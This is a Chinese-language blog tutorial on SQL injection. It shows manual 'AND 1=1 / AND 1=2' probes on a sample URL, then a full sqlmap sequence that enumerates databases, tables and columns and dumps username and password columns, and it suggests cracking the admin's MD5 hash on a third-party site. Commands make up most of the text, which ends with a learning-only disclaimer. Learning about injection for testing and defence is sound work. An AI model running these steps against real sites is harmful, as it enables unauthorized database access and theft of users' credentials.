系统环境:Kali-Linux-2021.2
移动端termux版教程已更新

sqlmap中文文档:传送门
Windows 安装sqlmap教程:传送门
Linux 安装sqlmap教程:传送门
笔记如有纰漏,欢迎在评论区指点

判断是否存在注入点

假设,一条网页的链接为http://192.168.3.1/index.php?id=8,可以清楚看到链接后边有一串形如?id=8的字符。 这时只要在链接后边加上AND+1=1,如果页面显示正常没有出现报错,则再将AND+1=1替换为AND+1=2,此时如果页面出现报错,可以判断存在注入攻击点。
例:

http://192.168.3.1/index.php?id=8+AND+1=1
http://192.168.3.1/index.php?id=8+AND+1=2

使用sqlmap工具进行扫描

枚举出 DBMS 所有数据库

首先先用 -u发起对目标链接的请求,结合使用 --dbs枚举出 DBMS 所有数据库命令。

sqlmap -u http://192.168.3.1/index.php?id=8 --dbs

对于termux用户,当输入以上命令时会出现错误。原因是因为没有重新启动sqlmap.py程序。报错例子如下:请输入图片描述
根据sqlmap提示,每条命令前都必须加上python2 sqlmap.py 方可正常执行命令。例:请输入图片描述

我用我的一个子站进行测试,发现sqlmap枚举出了两个数据库。枚举数据库

选择一个数据库进行注入 查看表单

使用 -D加数据库名来指定目标库,结合 --tables枚举出DBMS数据库中的所有表命令。

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] --tables (请将括号一同替换)

我们以521_iboy66lee_cl数据库为例。查看表单
可以看到该数据库下有一个名为user的表单,我们可以猜测该表单下有用户名的密码一类的关键信息。

枚举出表单下所有的 列

使用 -T 指定要枚举的 DBMS 数据表,再用 --columns枚举出 DBMS 数据库中的所有列*,

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] --columns

输入命令后顺利挖到了表下所有的列,就会看到熟悉的usernamepassword

破解目标数据

在上一条命令后边再继续使用 -C命令指定要枚举的 DBMS 数据列 --dump命令导出DBMS数据库表项

sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] -C username,password --dump

请输入图片描述
通过自带字典的破解很快就拿到了管理员的用户名和密码,密码很明显是经过md5加密的,到第三方破解平台就能拿到登录密码。

注:此文章仅供学习记录,切勿用于违法活动!
如需转载请遵循相关协议并标明原文地址